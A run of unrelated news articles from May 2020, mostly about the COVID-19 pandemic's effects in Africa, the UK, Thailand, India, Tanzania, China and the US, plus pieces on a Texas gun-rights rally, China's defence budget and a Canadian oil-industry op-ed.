Bankole Labody Oyou, a 24-year-old mass communications student in Freetown, Sierra Leones capital, was born blind.

He always relies on a family member or friend to get around the city and to class at Fourah Bay College, which is perched on Mount Aureol in central Freetown. He says that COVID-19 has complicated life for people living with disabilities.

We are suffering, he told Africa Renewal. Some [disabled people] have no family members to care for them. We are told to stay indoors, but we have no food to eat. Subconsciously, the government and the community forget that we exist. I have not heard anyone discuss our plight on the radio.

According to the UN, persons with disabilities are among the hardest hit by COVID-19. Even under normal circumstances, the one billion persons with disabilities worldwide are less likely to access health care, education, employment, and more likely to live in poverty and experience violence.

COVID-19 further compounds this situation, particularly for people with disabilities in fragile contexts and humanitarian settings. They face a lack of accessible public health information, significant barriers to implement basic hygiene measures, and inaccessible health facilities.

Kenyan Paralympian Anne Wafula-Strike agrees. People with disabilities are relegated to the background. The pandemic simply worsened an already bad situation.

Ms. Wafula-Strike is founder of the Olympia-Wafula Foundation to advocate for the rights of people with disabilities.

In an interview with Africa Renewal, she listed several obstacles currently confronting people with disabilities. They are not consulted before COVID-19 messages are conceptualized, and the channels of dissemination are not accessible to them, she says. Many dont own radio or television sets; some of them are visually impaired and cant read or write.

She is also unhappy with the uniform application of COVID-19 transmission measures, without due consideration for persons with disabilities. The police treat people living with disabilities like everyone else. Caregivers who, for example, assist them get on wheelchairs and with other activities, are now expected to practice social distancing. How do they [disabled people] survive? she asks.

Ms. Wafula-Strike is also concerned about the increasing incidences of sexual violence, particularly against women with a disability who have been forced to remain indoors.

As of 2 May, about 39,749 COVID-19 cases and 1,660 deaths had been reported in Africa. Should cases increase suddenly, Ms. Wafula-Strike worries that hospitals could be overwhelmed, making it difficult for people with disabilities to receive much-needed healthcare. They could begin to die behind closed doors.

The World Health Organisation (WHO) echoes Ms. Wafula-Strikes concerns, adding that basic hygiene measures such as handwashing, sinks or water pumps may be physically inaccessible to people with disabilities.

The organisation has published a list of protective mitigation measures that can be adopted by people with disabilities, governments, communities and health workers.

People with disabilities should, if possible, avoid crowded environments and work from home, advises WHO.

It recommends that COVID-19 information materials include captioning and sign language converting public materials into Easy Read for people with cognitive impairment.

Furthermore, there should be financial compensation for families and caregivers, including paying, for a time-limited period, family members for support provided during normal hours.

Healthcare workers could adopt tele-health such as providing telephone consultations, text messaging and video conferencing for the delivery of health care and psychosocial support for people with disabilities.

Ensure nobody is left behind in the COVID-19 recovery process is critical too.

I urge governments to place people with disabilities at the center of COVID-19 response and recovery efforts and to consult and engage people with disabilities, UN Secretary-General Antonio Guterres said at the launch of a UN report that recommends a disability-inclusive response and recovery for everyone.

Among the reports recommendations is the need for governments, donors, UN agencies and other actors to establish accountability mechanisms to monitor investments and ensure disability inclusion in the COVID-19 response, including through the collection and disaggregation of data by disability.

In addition, new investments must not create new barriers for people with disabilities  if considered from the design stage, ensuring accessibility can cost as little as 1% more

Some governments and non-governmental organisations are already taking measures to cushion the effects of the pandemic on people with disabilities. For example, the Sierra Leonean government has provided $25 and half a bag of rice for each person with disability.

But Mr. Oyou says that is too little. We cannot live on $25 for months.

Ethiopia is translating COVID-19 messages into local languages and the country plans to make communication materials accessible to those with hearing, seeing and learning difficulties, as well as to those with mental illness.

South Africa has set aside million $10.6 million to assist small, medium and micro enterprises in the hospitality and tourism sector, with priority given to people with disabilities and women.

In Nigeria, Christian Blind Mission, a Germany-based international Christian development organisation, is helping with sign language interpretation of COVID-19 messages.

The International Disability Alliancea coalition of more than 1,000 organisations working on disability issueshas launched the COVID-19 Disability Rights Monitor to track measures countries are taking on the core rights of persons with disabilities including the rights to life, access to health and essential services.

These may be impactful, says Ms. Wafula-Strike; however, shes very concerned should COVID-19 cases in Africa increase dramatically. Something must be done urgently to prepare for such a situation. A country is judged by how it treats its vulnerable, she said.
Coronavirus cases in the UK surged after the government added loss of smell and taste to the list of disease symptoms, a coronavirus symptom tracker has claimed.

Covid Symptom Tracker saw its estimated total number of cases jump by 27,441 in the four days following the announcement on May 18, to 279,188.

The app also predicts a steady rise in infections in Britain following a low of 242,897 on May 11.

Designed by scientists at King's College London and health science company ZOE, the app creates daily estimates on the number of UK coronavirus cases based on people self-reporting their own symptoms.

Users enter whether they are feeling well and, if not, what symptoms they are suffering each day. The results are then analysed to provide a UK-wide estimate.

At least 9,900 new coronavirus infections occur in England alone every day, the app's creators claim, with the highest rates in the North West and the Midlands.

Jumped: The app's predicted number of coronavirus cases in the UK surged after the government added loss of taste and smell, or anosmia, to its list of symptoms

Falling: The UK's number of infections has collapsed from 2.1 million to almost 200,000 since the lockdown was brought in, the app has claimed

Stalled: However, the drop in the predicted number of infections has now levelled off

Research carried out by the app, designed by scientists at King's College London and health science company ZOE, said there are 9,900 new infections every day

The daily number of cases reported by the app has risen gradually since May 11, the day after Boris Johnson announced a gradual easing of lockdown restrictions.

However, Tim Spector, Professor of Genetic Epidemiology at King's College London and app analyser, calls the figures 'not hugely significant on their own'.

'At these very low levels, fluctuations are to be expected,' he said.

'It could also be that this slight rise is linked to the increase in awareness of loss of smell which happened at the beginning of the week following the government's announcement.'

The Covid app has consistently reported figures above the UK government's official tally of confirmed cases, which currently sits at 254,195 Britons.

As many as 36,393 people have died from the virus, a rise of 351 from yesterday.

The app records higher numbers than the official government figures as it includes people who are likely to have contracted the virus but not received an official test.

According to the King's College scientists behind the app, there has been a nine-fold fall in the total number of cases since early April, down from 2.1million to 272,972 as of May 22.

But the scientists warn these figures may be still be underestimation because it is unable to detect asymptomatic cases, and its sample may not be representative of the UK population.

Professor Tim Spector, at King's College London, said he thought the figures were not 'hugely significant' on their own due to the low levels

The Covid Symptom Tracker works by taking people through a questionnaire about how they are feeling and whether they have the typical symptoms of coronavirus

How to use Covid-19 symptom tracker More than 2.6 million people have signed up to the Covid-19 symptom tracker to report whether they are unwell, and what symptoms they are suffering. The app asks users to enter whether they've had a coronavirus test and whether they are unwell on a daily basis. The data is then used to map the spread of coronavirus in the UK and how the outbreak has changed during lockdown. The more people submitting information, the more accurate the data is. The app has been endorsed by NHS Scotland, NHS Wales and a number of medical colleges. You can learn how to download the app here. Advertisement

Government figures did not show a surge in coronavirus cases after adding the new symptom, although a lack of testing means authorities may not know the current total in the country.

The team behind the app has also suggested UK cases are jumping by 9,900 every day, after analysing data from 980,000 participants including 18,000 who received a swab test between May 2 and May 15.

The North West has the highest projected rate of infections at up to 412 new sufferers per million people a day, they said, followed by the Midlands with up to 310 new cases per million.

The South West was predicted to be the area with the lowest spread at up to 172 cases per million, followed by London, at up to 179 per million, and the South East, at up to 176 per million.

CEO of ZOE Global Jonathan Wolf said: 'These results are only possible because of the millions of people who are generously recording their health daily on the Covid Symptom Study app.

'By combining physical swab testing with daily digital health reporting we are now able to understand the daily new cases of infection. This was previously a mystery.

'We will be updating this regularly, which will provide vital information to the NHS and government as we all look to ease our way out of lockdown.'

Professor Jonathan Van-Tam, deputy chief medical officer for England, said officials hoped adding anosmia to the list would help control the spread

What is anosmia? Anosmia is the medical name for a condition in which someone suffers a complete or partial loss of their sense of smell and/or taste. The most common single cause of the condition  temporary or permanent  is illnesses which affect the nose or sinuses, such as polyps which grow in the airways, fractured bones or cartilage, hay fever or tumours. It is different to hyposmia, which is a decreased sensitivity to some or all smells. Around 3.5million people in the UK are affected by the condition, along with nearly 10million in the US. It is surprisingly common and affects between three and five per cent of people. Head injuries and nervous system diseases like Parkinson's or Alzheimer's may also contribute to the condition by damaging nerves in the nose which are responsible for detecting smells. Advertisement

The UK government decided to add loss of taste and smell - also called ansomia - to its list of coronavirus symptoms on May 18, after dragging its feet for weeks over the designation.

The app had been calling for this change, noting that it had up to 70,000 users reporting this symptom but not self-isolating due to the government's directions.

The deputy chief medical officer for England, Professor Jonathan Van-Tam, said officials hope adding the symptom to the list will help medics detect three per cent more patients.

'With a cough or fever, sensitivity was around 91 per cent,' he said in a telephone briefing.

'By adding anosmia, in terms of case pick-up, we think that might go to 94 per cent.

'The reason for making the change now is that there has been a signal around the importance of anosmia as a symptom of COVID-19 for a while now.

'It has been important to continue to look at that and be sure that we consider it and introduce it at the right time... this has been quite a difficult piece of science.'
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The public is very clearly in a position where they of course want things to open, but they are very concerned about a second wave and they are very concerned about things that will prolong the crisis, said Nick Gourevitch, a Democratic pollster who does research for Navigator Research, a consortium of liberal groups that seeks to inform party strategy. The gambit could only work for Trump if there is no second wave and there is no repercussion for pushing things open too quickly.
23.05.2020 LISTEN

The Central Regional Director of the Coastal Development Authority (CODA), Mr. Obed Acquah Quansah has maintained that the Authority has not relented on its mandate of spearheading development in the region. He explained that his office through the direction of the Chief Executive Officer of CODA, Mr. Jerry Ahmed is working hard to ensure development in the Central Region through infrastructural provision.

Mr. Quansah made this known on the Eagle FM flagship Morning Show programme, Kokrokoo hosted by Barbara Obeng -Dwamena Mensah. He was speaking on the topic, Delivering One Million, One Constituency; Assessing the Work so far.

Mr. Quansah, touting some of the achievement of the Authority indicated that they are constructing

five (5) mechanized boreholes in each of the 23 constituencies in the Central Region, ten (10) seater institutional toilet in all the 23 constituencies, construction of bridges, renovation of the Cape Coast Town Hall and Jubilee Park, the Anafo Market redevelopment project, the distribution of 5,000 Outboard Motors to fishermen, distribution of 40,000 PPE's to help combat COVID-19 in the region, among others.

The Coastal Development Authority (CoDA) was established in 2017 by ACT 963 of the Parliament of the Republic of Ghana. CoDA exercises its mandate in the Greater Accra Region, Central Region, Western Region, Western North, Oti Region, and the Volta Region. The development authority is charged with ensuring the success of the Infrastructure for Poverty Eradication Programme (IPEP).

Mr. Obed Acquah Quansah admonished all and sundry to support the Government in its developmental drive especially in the region.
Authorities are warning the storm predicted to hit WA's coast on Sunday is a rare event seen only once in five to 10 years and will bring with it dangerous wind gusts which could hit 130km/h.

Bureau of Meteorology WA state manager James Ashley said the storm was the result of a tropical system interacting with a cold front, one or two low pressure systems were likely to develop and impact the west coast on Sunday, bringing the most dangerous winds.

Similar major events hit Perth in 1994 and 2012. The June 2012 event resulted in more than 600 calls for assistance and left 170,000 homes without power.

Strong winds and rain will start around the upper part of the west coast during Sunday morning and extend southwards to incorporate the whole west coast and parts of the south coast by Sunday afternoon, Mr Ashley said.
Shorter curfew likely, but emergency decree will be extended

THAILAND: The Centre for COVID-19 Situation Administration (CCSA) has backed a recommendation to extend use of the emergency decree for another month, but consideration is being given to shortening the night curfew as coronavirus infections continue to fall.

CoronavirusCOVID-19healthSafety

By Bangkok Post

Friday 22 May 2020, 04:57PM

A Thai returnee from India waves to photographers at Suvanabhumi airport before being taken to 14-day quarantine at premises in Samut Prakan province yesterday (May 21). Photo: Nutthawat Wicheanbut.

Easing the curfew was discussed at the full meeting of the CCSA today (May 22), when extending the decree was the top item on the agenda.

CCSA spokesman Taweesilp Visanuyothin said the meeting, chaired by Prime Minister Prayut Chan-o-cha, agreed on the need to extend use of the decree from the end of this month to the end of June.

The extension was necessary because the country was still battling to contain the spread of the virus and prevent new infections being brought in from abroad, Dr Taweesilp said.

The decree is the primary legal basis of the CCSAs campaign against the spread of the virus.

The cabinet will rubber stamp the extension of the decree at its meeting next Tuesday (May 26). The relaxation of curfew hours is in line with the step-by-step easing of the lockdown.

Chief of Defence Forces Gen Pornpipat Benyasiri raised the curfew issue today, Dr Taweesilp said. It will be discussed in more detail next Friday, when top CCSA officials will consider allowing more kinds of businesses to reopen on June 1 - what he called the third phase of the easing process.

There is a good chance that the CCSA will shorten curfew hours. The duration of the curfew hours and when and how it will be enforced will be discussed at the next meeting, he said.

Relaxing the curfew would depend on public cooperation with virus-control measures - including no social gatherings and people keeping a safe distance, he said.

Dr Taweesilp would not say what types of businesses may be allowed to resume next month.

The CCSA shortened the night curfew from 10pm-4am to 11pm-4am from last Sunday, when shopping centres and some businesses were allowed to reopen.

Thailand reported no new virus cases or fatalities today.
As graduation ceremonies get canceled due to the coronavirus crisis, brands nationwide are presenting 2020 graduates with offers to show their support and help soften the disappointment of not being able to walk across the stage.

Pizza Hut, in partnership with Americas Dairy Farmers, is the latest brand to extend a special offer to the class of 2020, according to a report by Business Insider.

The restaurant chain is offering 2020 high school grads a free one-topping medium pizza.

Our brand has a long history of celebrating moments that matter  like graduations  and Pizza Hut takes pride in being a part of our customers big days. So, its only natural that wed be there for students and their families to help celebrate the accomplishments of the graduating class of 2020, Pizza Huts chief marketing officer George Felix said in a press release. Were proud to partner with Americas hard-working dairy farmers to bring students who are missing out on their chance to cross the stage with their diploma, an opportunity to celebrate with their favorite Pizza Hut pizza.

How can high school graduates claim their pie?

Eligible graduates can claim their free pizza by signing into their Hut Rewards account on www.pizzahut.com/gradparty. Once they sign in, a digital coupon for the offer will appear for use until supplies run out.

For those who are not a Hut Rewards member, you can sign up to become one at that site.

The offer will run through May 28 or until supplies run out, the report said.

In a similar move, Krispy Kreme recently offered a dozen free doughnuts to 2020 high school and college graduates on Tuesday, May 19.

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In a bid to have beds ready in



case of a spike in COVID-19 cases, the Ahmedabad Municipal Corporation in Gujarat has completed acquisition of around 1,500 beds from 42 private hospitals, said Additional Chief Secretary Rajiv Kumar Gupta, who is overseeing the civic body's efforts to contain the outbreak.

Gupta said, prior to the acquisition of 1,500 beds from 42 private hospitals in the city, as many as 3,000 beds of 31 other private hospitals across Gujarat were already acquired, making it the largest such acquisition in the country by any state to treat coronavirus positive patients.

"The AMC recently requisitioned 42 private hospitals and ordered them to provide 50 per cent beds for the treatment of coronavirus patients. These come to around 1,500 beds. They are in addition to 3,000 government hospital beds," said Gupta, adding that the AMC had already admitted around 500 patients in these private hospitals.

"These 1,500 beds coupled with 3,000 beds of other 31 private hospitals across Gujarat is by far the largest acquisition of private hospital beds in the country by a state," said Gupta.

He said though states like Maharashtra, Chhattisgarh and Madhya Pradesh have also issued regulation orders to private hospitals but "the number of actual beds made available in these states by private hospitals is much less than Gujarat".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
In a video posted last week, Open Carry Texas Vice President David Amad said the group will return to Odessa and teach Ector County Sheriff Mike Griffis a lesson following the arrests of some group members for carrying guns outside a West Odessa bar.

Six men were arrested earlier this month after openly carrying rifles in a lot adjacent to Big Daddy Zanes. They said they were supporting the owner, who opened against Gov. Greg Abbotts executive orders. She was also arrested for violating those orders, as was another employee.

Griffis said in a press conference the day after the arrests that the presence of Open Carry Texas was meant to intimidate law enforcement and that the men were not there to exercise their Second Amendment rights.

Now, members of Open Carry Texas are planning to return to Big Daddy Zanes and hold a second rally on June 6, according to a Facebook event and video posted on YouTube.

Were going to Odessa and were going to show this son of a b**** what the Constitution really means, Amad said in the video. Were gonna have to stand up to this ol boy.

RELATED: Ector County sheriff: This was not a Second Amendment rights protest

The arrests of the six individuals led to extensive debate on social media over the validity of the charges against them. The men were charged with carrying weapons where prohibited; Griffis cited the Texas Alcohol and Beverage Commission code when explaining the charges, given the men were on a property adjacent to the bar. The Texas Penal Code defines a bars premises as the building where the bar is located and does not include parking lots or nearby properties.

Griffis has said he and his family have received numerous threats since the arrests became national news. In Amads video, he called for viewers to cease threatening Griffis family.

However, Amad appeared to threaten Griffis in the video.

This guy needs a lesson, he said. He needs a big lesson, and we need to go out there and teach him.

Amad said any rally attendees who break the law will surrender peacefully, but if they believe they havent broken the law and the sheriffs office attempts to arrest them, he said were not going to allow that son of a b**** to arrest us.

I dont care if he rolls in with the whole 2nd Armored Division, Im not going to surrender to him, he said.

A spokesperson for the Ector County Sheriffs Office said they have seen the video but could not comment on it because its part of an ongoing investigation.
On just one day this month, 50 Tanzanian truck drivers tested positive for the coronavirus after crossing into neighbouring Kenya. Back home, their president insists that Tanzania has defeated the disease through prayer.

All the while, President John Magufuli has led a crackdown on anyone who dares raise concerns about the virus's spread in his East African country or the government's response to it.

Critics have been arrested, and opposition politicians and rights activists say their phones are being tapped.

The country's number of confirmed virus cases hasn't changed for three weeks, and the international community is openly worrying that Tanzania's government is hiding the true scale of the pandemic.

Just over 500 cases have been reported in a country of nearly 60 million people.

While many African countries have been praised for their response to the coronavirus, Tanzania is the most dramatic exception, run by a president who questions or fires his own health experts and has refused to limit people's movements, saying the economy is the priority.

Fatma Karume, a human rights activist and former president of the Tanganyika Law Society, said authorities are discouraging people from going to hospitals to avoid overwhelming them, but they are not giving adequate guidance about the virus.

When you are disempowering a whole nation by withholding information and creating doubt on how they should respond to the crisis, the outcome can be disastrous, Karume said.

The president has refused to shut churches, mosques and other gathering places, such as pubs and restaurants.

He has questioned the accuracy of tests done by the national laboratory, saying the swabs used may themselves be tainted with the virus.

He has suspended the head of the laboratory and fired the deputy health minister.

On Thursday, Magufuli ordered the Health Ministry and other agencies not to receive personal protective equipment from donors until tests are done to ensure it works and is safe.

While Magufuli halted international passenger flights in April, he is now allowing them to resume and says any visitor who doesn't have a fever will be allowed in.

For most people, the coronavirus causes mild or moderate symptoms. For some, especially older adults and people with existing health problems, it can cause more severe illness and lead to death.

The president has argued that if restrictive measures are adopted, Tanzanians may have nothing to eat.

In fact, rather than urge Tanzanians to keep their distance, one Magufuli ally encouraged them to flood the streets this weekend to celebrate.

Make all kinds of noise as a sign of thanksgiving to show our God has won against disease and worries of death that were making us suffer, Paul Makonda, the regional commissioner of commercial hub Dar es Salaam, said at a briefing.

In March, Magufuli ordered three days of national prayers against COVID-19 and has since said they have been answered.

While health experts say recorded coronavirus cases and deaths the world over are undercounts, opposition leaders accuse Magufuli's government of hiding the outbreak's true toll.

Government spokesman Hassan Abbas told The Associated Press that it would be impossible to cover up an outbreak.

He also dismissed reports that hospitals were overwhelmed, noting that one, which has room for over 160 patients, only had 11.

It is unfortunate that COVID-19 has come up with lots of misinformation, propaganda and false news," he added.

He said Tanzania has taken measures to curb the disease, and infection rates are falling, though he gave no data.

He said the country's health officials have been working hand in hand with international experts, including at the World Health Organization. Officials outside Tanzania remain worried.

We strongly call on Tanzania, encourage Tanzania, to share data in a timely fashion, the head of the Africa Centers for Disease Control and Prevention, John Nkengasong, said this month, adding that fighting the virus is more difficult without accurate data from all member states.

No country is an island, he warned. On Thursday, Nkengasong said Tanzania still had not provided the body with any more information but officials were still hoping the government would eventually cooperate.

Kenya closed its border with Tanzania this month except for cargo traffic and imposed stringent testing measures on Tanzanian truck drivers after more than 50 of them tested positive for the virus in a single day.

The US Embassy in Tanzania has issued an unusual statement, warning its citizens that all evidence points to exponential growth of the epidemic and that hospitals in Dar es Salaam have been overwhelmed with COVID-19 cases.

On Tanzania, yes, it's very disappointing, the top US diplomat for Africa, Tibor Nagy, told reporters this week.

Obviously, they are very concerned with the economic impact that the loss of the tourism industry is going to have on them, but I can't imagine any tourists flocking back there in such an uncertain

In a more subtle note of concern, the British High Commission announced a charter flight for British nationals who want to leave.

Meanwhile, the climate of fear has grown inside Tanzania, rights groups and critics say, as Magufuli seeks a second term in an October election that shows no sign of being delayed despite the pandemic.

Magufuli has stifled independent journalism since taking office and severely restricted the work of non-governmental organizations, according to rights groups.

People in Tanzania cannot express themselves, said Roland Ebole, an Amnesty International researcher based in neighboring Kenya.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
By Associated Press

BEIJING: China doubled down Friday on efforts to combat the coronavirus pandemic and create jobs as the number of people thrown out of work soars worldwide.

The help for the worlds No. 2 economy, the main driver of world growth in recent years, followed news that nearly 39 million Americans have lost their jobs since the crisis accelerated two months ago.

Chinese Premier Li Keqiang, the top economic leader, said Friday that Beijing would give local governments 2 trillion yuan ($280 billion) to help them undo the damage from shutdowns imposed to curb the spread of the virus after it first appeared in central China in late 2019.

Li told the annual session of the largely ceremonial National People's Congress that the battle against the new coronavirus, which has infected at least 5.1 million people worldwide according to a tally by Johns Hopkins University, has not yet come to an end.

The lawmakers were meeting under strict health precautions in Beijing after the gathering was postponed for nearly two months. China is still striving to snuff out outbreaks. It reported four new confirmed virus cases on Friday and no new deaths.

Japans central bank on Friday also pledged more support for its pandemic-stricken economy. At an emergency meeting, the Bank of Japan said it would provide $280 billion in zero-interest, unsecured loans to banks for financing small and medium-size businesses battling economic hardships brought on by the pandemic.

Japan's economy was already sliding into recession in late 2019, before the pandemic struck, devastating economies nearly everywhere as consumers were ordered to stay home and businesses to stay closed in many hard-hit areas. The impact on Japan's jobless rate remains unclear, since the country did not impose hard lockdowns and many people are still commuting to work.

European countries also have seen heavy job losses, but robust government safety-net programs in places like Germany and France are subsidizing the wages of millions of workers and keeping them on the payroll.

Private sector analysts say as many as 30% of Chinas 442 million urban workers  or as many as 130 million people  have lost jobs at least temporarily. They say as many as 25 million jobs were lost perhaps for good this year.

It seems employers have stopped hiring, said Zhang Jijun, a migrant laborer who came to Beijing from the western province of Shanxi. All the available jobs are not good and nobody wants to go.

In the U.S., even as states from coast to coast gradually began reopening their economies and letting people go back to work, more than 2.4 million people filed for unemployment last week, the Labor Department said.

The latest figures do not mean all 38.6 million people who have filed for unemployment are still out of work. Some have been called back, and others have landed new jobs. But the vast majority are still unemployed and while the number of weekly applications has slowed for seven straight weeks the numbers are 10 times higher than normal.

While the steady decline in claims is good news, the labor market is still in terrible shape, said Gus Faucher, chief economist at PNC Financial.

Federal Reserve Chairman Jerome Powell said over the weekend that U.S. unemployment could peak in May or June at 20% to 25%, a level last seen during the depths of the Great Depression almost 90 years ago. Unemployment in April stood at 14.7%, a figure also unmatched since the 1930s.
Photo: CAPP

By Tim McMillan

Federal Green Party Leader Elizabeth May recently said oil is dead and her heart bleeds for people who believe the sector is going to come back.

Its foolish to assert oil is dead at any time, but its particularly ignorant to say it in the midst of an unprecedented global crisis.

Canadians are relying on oil to deliver their food, heat their homes, and provide the building blocks of the health-care products we need to keep us safe and alive during the COVID-19 pandemic.

Mays nonsensical and condescending statements were backed up by Yves-Francois Blanchet, the Bloc Quebecois leader who offered that oil is never coming back.

One could simply write off these comments and point out that May relies heavily on oil products to live in her exceptionally beautiful yet isolated riding of SaanichGulf Islands, where oil and natural gas are required to shuttle her via ferry to mainland British Columbia.

As for Blanchet, it would be difficult to justify that hes speaking for Quebec, which is home to one of Canadas largest oil refineries as well as to Bombardier, which makes planes that require jet fuel.

Quebec oil consumption is the second highest in Canada and a recent study by researchers at business school HEC Montreal showed the province is on track to grow its petroleum consumption by 30 per cent over the next decade due to rising truck and SUV sales. Oil and natural gas now provide more primary energy in Quebec than hydro.

However, we should examine their views a little more closely. Theres something behind these comments that should be deeply troubling to all Canadians.

Weve seen the rise of the argument put forward by May and Blanchet from fringe activist groups that seem not bound by reality. However, its shocking to hear it from elected officials who are expected to lead and unite our country in a time of crisis.

Were experiencing an exceptional period in human history. The locking down of economies around the world has meant a drop in global energy consumption for the first time in decades. Oil is by far the largest source of energy in Canada, bigger than wind, solar and hydro combined.

Prior to February 2020, global oil consumption was growing to record levels and all credible forecasts predicted continued growth for decades to come. The global economic crash halted that growth and has thrown all predictions into varying states of disarray.

However, we do know that stores will open again, cars and trucks will begin to run and planes will fly. Our lives will continue  and life takes energy.

Without oil and natural gas, our society would be almost unrecognizable. Medicines, warm showers, ample food supplies and the devices that connect us would virtually disappear, or become astronomically expensive luxuries.

I dont believe this is the future Canadians want. We want to go back to work and enjoy the freedoms we once took for granted. We want to visit our aunt in Saskatoon, help our kids who are attending university in Halifax and stroll on the beach in White Rock on a long weekend. We want to get a ride to a downtown pub and watch the playoffs with a hundred other hard-core fans.

While May and Blanchet show derision for Canadian oil and natural gas, theyre in the minority. A Global Energy Pulse survey conducted by IPSOS in 2019 showed that 70 per cent of Canadians would prefer to use Canadian oil and natural gas than foreign imports. About half of Canadians surveyed believed critics views of the industry are about political confrontation and not the realities of the sector.

Oil and natural gas are Canadas largest export products and the sector generates over $100 billion in gross domestic product and $8 billion annually in revenues for governments in the form of royalties and taxes.

It employs more than half a million Canadians and has a supply chain that reaches across the country.

The sector is also the largest investor in environmental protection and clean technology in the country, to the tune of more than $3 billion annually.

A strong oil and natural gas industry can drive our recovery, rebuild our industries and help restart our lives  something the majority of Canadians are looking forward to.

Tim McMillan is president and CEO of the Canadian Association of Petroleum Producers.
China, the second-largest military spender after the United States, has hiked its defence budget from last year's $177.6 billion to $179 billion, nearly three times that of India, the lowest increment in recent years apparently due to the heavy disruption caused to its economy by the COVID-19, according to the official media.

IMAGE: China's total defence spending in 2019 only amounted to a quarter that of the United States, the world's largest defence spender, while the per capita expenditure was just about one-seventeenth. Photograph: Andrea Verdelli/Getty Images

China, which has the world's largest military of two million troops, will continue to lower its defence budget growth rate to 6.6 per cent in 2020, according to a draft budget report presented on Friday to National People's Congress, the country's top legislature.

The 2020 defence budget continues to see single-digit growth for a fifth consecutive year. It is the lowest growth rate in recent years, the state-run Xinhua news agency reported.

China's this year's defence budget will be around 1.27 trillion yuan (about $179 billion) against last year's $177.61 billion, according to the draft submitted to the NPC.

China's total defence spending in 2019 only amounted to a quarter that of the United States, the world's largest defence spender, while the per capita expenditure was just about one-seventeenth, the report said.



On Thursday Zhang Yesui, spokesperson for the NPC in a media briefing played down criticism about lack of transparency in China's defence expenditure which defence analysts say considering the rapid expansion of Beijing's military and modern weapons is far higher than what is announced.

Zhang said China had no "hidden military spending".

China has been submitting reports on its military expenditures to the United Nations every year since 2007, he said.



"From where the money comes from to how the money is used, everything is accounted for," Zhang said.



According to Stockholm International Peace Research Institute, the military expenditure figures of China's defence spending in 2019 amounted to $232 billion.



While China compares its defence expenditure with the US, whose defence budget according to SIPRI was $732 billion, Beijing's massive defence modernisation drive is pushing India and a number of other countries to hike their own defence budgets to ensure reasonable balance of power.



India's budget for 2020 amounted to $66.9 billion (Rs 4,71,378 crore) according to a write-up in Indian Institute for Defence and Analysis. China's latest budget of $179 billion is amounted to about 2.7 times more that of India.

China's defence spending has been staying at around 1.3 per cent of its gross domestic product for many years, well below the world's average of 2.6 per cent, Zhang said.

China's defence budget in recent years acquired limelight as it embarked on a massive modernisation which included a number of aircraft carriers, stealth aircraft, rapid development of modern naval

frigates.



Since Chinese President Xi Jinping came to power, China has revamped its defence forces, cutting the army by three lakh troops and enhanced its naval and air power as Beijing expanded its influence abroad.



China currently has one aircraft carrier, the second one is undergoing trials while the third is being built. According to official media reports, China plans to have five to six aircraft carriers in near future to challenge the US all around the world including in Beijing's backyard the South China Sea.



China claims all most all of the SCS as its territory. Vietnam, Philippines, Malaysia Brunei and Taiwan have counterclaims on it.



China is engaged in hotly contested territorial disputes in both the South China Sea and the East China Sea. Beijing has built up and militarised many of the islands and reefs it controls in the region. Both areas are stated to be rich in minerals, oil and other natural resources and are also vital to global trade.
Police said a nursing home under strict Michigan coronavirus lockdown measures was unaware of an attack on an elderly patient until a viral video surfaced on Twitter, which prompted a response from Donald Trump.

"Is this even possible to believe? Can this be real?" the president wrote. "Where is this nursing home, how is the victim doing?"

The 75-year-old man from the Westwood Rehabilitation Nursing Centre in Detroit is being treated in a local hospital after being repeatedly punched in the face by another patient, who appeared to film the attack in two clips posted to Twitter.

The woman who first noticed the video and alerted police said that if the Detroit nursing home had been receiving visitors, action might have been taken sooner.

Michigan Governor Gretchen Whitmer has implemented some of the US's strictest coronavirus lockdown measures, which forbid elderly nursing home patients from having family visit.

"It absolutely shattered my heart. It just broke my heart how anyone could be capable of this kind of brutality," Joann Uhler, told Detroit's FOX 2, which reported the video was taken on 15 May.

"Honestly I think if they were receiving visitors this would have been addressed a lot quicker than something like this having to evolve on Twitter."

Detroit police Chief James Craig said the nursing home was unaware of the attack until seeing the video, which currently has almost three million views on Twitter.

"What our investigation has revealed so far was the nursing home was unaware of an assault until they saw the video," Mr Craig said.

"We're still investigating that aspect of the case, but there is a suspect in custody."

Detroit police thanked the public for alerting it to the video, which has led to the arrest of a 20-year-old man who was also a patient at the nursing home.

"Thank you to everyone for your assistance in bringing the senior home incident to our attention," the department said on Twitter. "The @detroitpolice is investigating the situation, and an arrest has been made.

In a statement to The Independent, the law firm representing Westwood said that nursing home staff turned the alleged attacker in the video over to police on Thursday morning.

"He is not a long-term resident of Westwood, but he was recently admitted for recovery and rehabilitation purposes on a temporary stay," attorney Saif Kasmikha, or Midwest Legal Partners, said in the statement.

"Westwood has been cooperating with the police and will continue to do so."
Blood centers are no stranger to shortages. Every year, especially around the holidays, when donations and inventories dip, they know what to do  put out emergency calls to the public, hold drives at high-profile buildings and workplaces, offer gift cards and other incentives.

But the coronavirus pandemic has presented an entirely different challenge for the South Texas Blood and Tissue Center, which supplies blood products to hospitals in San Antonio and the surrounding region.

Looming fears of infection have kept people in their homes and resulted in the cancellation of more than 100 area blood drives scheduled for the summer  a loss of about 4,000 donations. As of Thursday, the blood bank had a little more than a two-day supply, down from the two-week inventory it had built up after an emergency appeal at the beginning of the pandemic.

Bob Owen /Staff photographer

Its a problem that, like the virus, is not going away. The organizations leaders fear low supplies could persist for the remainder of the year, threatening to disrupt scheduled procedures and surgeries that only recently resumed in local hospitals.

More Information Alamodome blood drive The South Texas Blood and Tissue Center is collecting blood donations now through Saturday, from 9 a.m. to 5 p.m., at the Alamodome. Appointments are required and can be made by calling 210-731-5590 or visiting southtexasblood.org/give-now. See More Collapse

On ExpressNews.com: San Antonio officials urge public to donate blood during coronavirus pandemic

If we cant figure out a way to make up for that deficit in our projections, its going to be a very difficult summer, said Elizabeth Waltman, the centers chief operating officer. Theres going to be some significant blood shortages.

A robust blood supply facilitates the treatment of all manner of patients  gunshot and car crash victims often need emergency transfusions, surgery patients may require blood mid-procedure and people with cancer tend to lack platelets after chemotherapy or radiation.

Those needs still must be met, even as COVID-19 became a major focus at some hospitals.

In March, about the time the area first began to see local cases of the coronavirus, the center worked to head off an impending blood supply crisis. The blood bank held a news conference with local officials to encourage the public to come out, and Mayor Ron Nirenberg declared blood donation an essential city function.

People responded, and the center stockpiled a surplus, due to the required postponement of elective surgeries.

Bob Owen /Staff photographer

People wanted to help. This virus, we feel so powerless, Waltman said. People wanted to do something, and giving blood was a way for them to participate in helping the community.

On ExpressNews.com: Coronavirus antibody tests have proliferated in San Antonio. Heres the problem.

